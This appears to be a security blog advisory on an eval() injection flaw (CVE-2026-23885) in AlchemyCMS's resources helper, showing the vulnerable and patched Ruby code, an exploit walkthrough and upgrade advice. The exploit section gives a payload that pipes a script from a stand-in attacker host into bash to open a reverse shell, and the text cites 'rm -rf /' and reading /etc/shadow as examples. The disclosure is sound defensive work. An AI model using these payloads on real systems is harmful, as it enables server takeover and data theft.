AlchemyCMS: Turning Configuration into Remote Code Execution
Jan 21, 2026·5 min read·6 visits
Executive Summary (TL;DR)
The AlchemyCMS team literally ignored a security linter warning to use `eval()` on user-supplied configuration data. This allows anyone with administrative access to inject Ruby code, leading to RCE. Fixed in 7.4.12 and 8.0.3 by switching to `public_send`.
A classic case of 'eval()' injection in AlchemyCMS allows authenticated administrators to escalate their privileges to full Remote Code Execution on the underlying server. The vulnerability stems from a helper method that prioritized flexibility over sanity, complete with a suppressed linting warning.
The Hook: When Flexibility Meets Stupidity
AlchemyCMS is a robust, open-source Content Management System for Ruby on Rails. It's designed to be flexible, modular, and developer-friendly. But sometimes, in the pursuit of making things 'dynamic', developers forget that not every string in a database or configuration file is a friend.
In this episode of 'Why is my server mining crypto?', we look at Alchemy::ResourcesHelper. This component is responsible for generating URLs for various resources within the CMS. To handle different Rails engines (modular mini-applications), the developers needed a way to dynamically determine which engine context to use.
Instead of a lookup table or a safe method dispatch, they reached for the nuclear option: Ruby's eval(). It's the programming equivalent of using a chainsaw to slice bread—it works, but if you slip, you lose a limb.
The Flaw: A Linter Warning Ignored
The vulnerability lies in app/helpers/alchemy/resources_helper.rb, specifically in the resource_url_proxy method. This method checks if a resource belongs to a specific engine and, if so, tries to execute the engine's name to get the proxy object.
The problem is how they executed it. They took resource_handler.engine_name—a string that can be influenced by administrative configuration—and passed it directly into eval().
Here is the kicker: Rubocop (the Ruby static code analyzer) screams at you when you use eval. It knows it's dangerous. The developers knew it was dangerous. How do we know? They explicitly added a comment to shut Rubocop up: # rubocop:disable Security/Eval. It is the digital equivalent of putting a piece of tape over your car's 'Check Engine' light.
The Code: The Smoking Gun
Let's look at the crime scene. The vulnerable code takes the engine name and executes it as raw Ruby code. If engine_name is 'main_app', it returns the main app proxy. If engine_name is 'system("rm -rf /")', well, you can guess what happens.
Vulnerable Code (Pre-Patch)
def resource_url_proxy
if resource_handler.in_engine?
# The developer looked at the warning and said "I live dangerously."
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
endThe fix was embarrassingly simple. Ruby has a method called public_send (or just send) which calls a method on an object by name. It doesn't parse syntax; it just dispatches a message. If you try to send "system('id')", it just looks for a method with that literal garbage name and raises a NoMethodError. Secure, safe, sane.
Fixed Code (Post-Patch)
def resource_url_proxy
if resource_handler.in_engine?
# The "I like keeping my job" approach
public_send(resource_handler.engine_name)
else
main_app
end
endThe Exploit: From Config to Shell
Exploiting this requires High privileges, which is why the CVSS score is a deceptive 6.6. You need to be an Admin, or have the ability to modify the modules.yml configuration. However, 'Admin' in a CMS often just means 'Content Manager', not 'Server Sysadmin'. This exploit bridges that gap immediately.
An attacker logs into the AlchemyCMS backend. They locate the module configuration (either via a settings UI or by compromising a file if they have local write access). They modify the definition of a resource's engine name.
The Attack Chain
The payload needs to do two things: execute the malicious command, and return a valid object so the CMS doesn't crash immediately (which might leave a log trace or alert an admin).
Ruby Payload
# This executes the command and then returns 'main_app' to keep the app running
"system('curl http://attacker.com/revshell | bash'); main_app"When the admin navigates to any page that lists resources (like the sitemap or resource index), the helper fires, the eval executes, and the reverse shell connects back home.
The Impact: Why "Authenticated" Doesn't Mean "Safe"
A common dismissal of vulnerabilities like this is: "But you need to be an admin! If they are admin, you are already owned!" This is false.
In modern web architecture, an Application Admin is rarely the same as a System Root User. An Application Admin should be able to edit blog posts, not execute cat /etc/shadow.
CVE-2026-23885 breaks the isolation between the Application Layer and the Operating System. It allows an attacker who compromised a marketing manager's credentials (who happens to have CMS admin rights) to pivot into the server infrastructure, dump database credentials, install persistence, and move laterally into the internal network.
Furthermore, if the configuration is stored in a database that is susceptible to SQL Injection, a lower-privileged attacker could inject the payload into the config via SQLi, and then trigger the RCE just by browsing the site.
The Fix: Update Your Gems
The remediation is straightforward: Update AlchemyCMS.
Patched Versions
- v7.4.12
- v8.0.3
If you cannot update immediately (perhaps you are running a legacy fork), you can monkey-patch the helper in an initializer. Do not try to sanitize the input for eval. Just switch to public_send like the official patch did.
[!NOTE] This vulnerability serves as a harsh lesson in code review: If you see a linter disable comment for a security rule, that code block should be guilty until proven innocent.
Official Patches
Fix Analysis (2)
Technical Appendix
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
AlchemyCMS AlchemyCMS | < 7.4.12 | 7.4.12 |
AlchemyCMS AlchemyCMS | >= 8.0.0.a, <= 8.0.2 | 8.0.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code) |
| CVSS Score | 6.6 (Medium) |
| Attack Vector | Network (Authenticated) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | PoC Available |
| Patch Date | 2026-01-19 |
MITRE ATT&CK Mapping
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax directives before using the input in a dynamic evaluation call (e.g. 'eval').
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.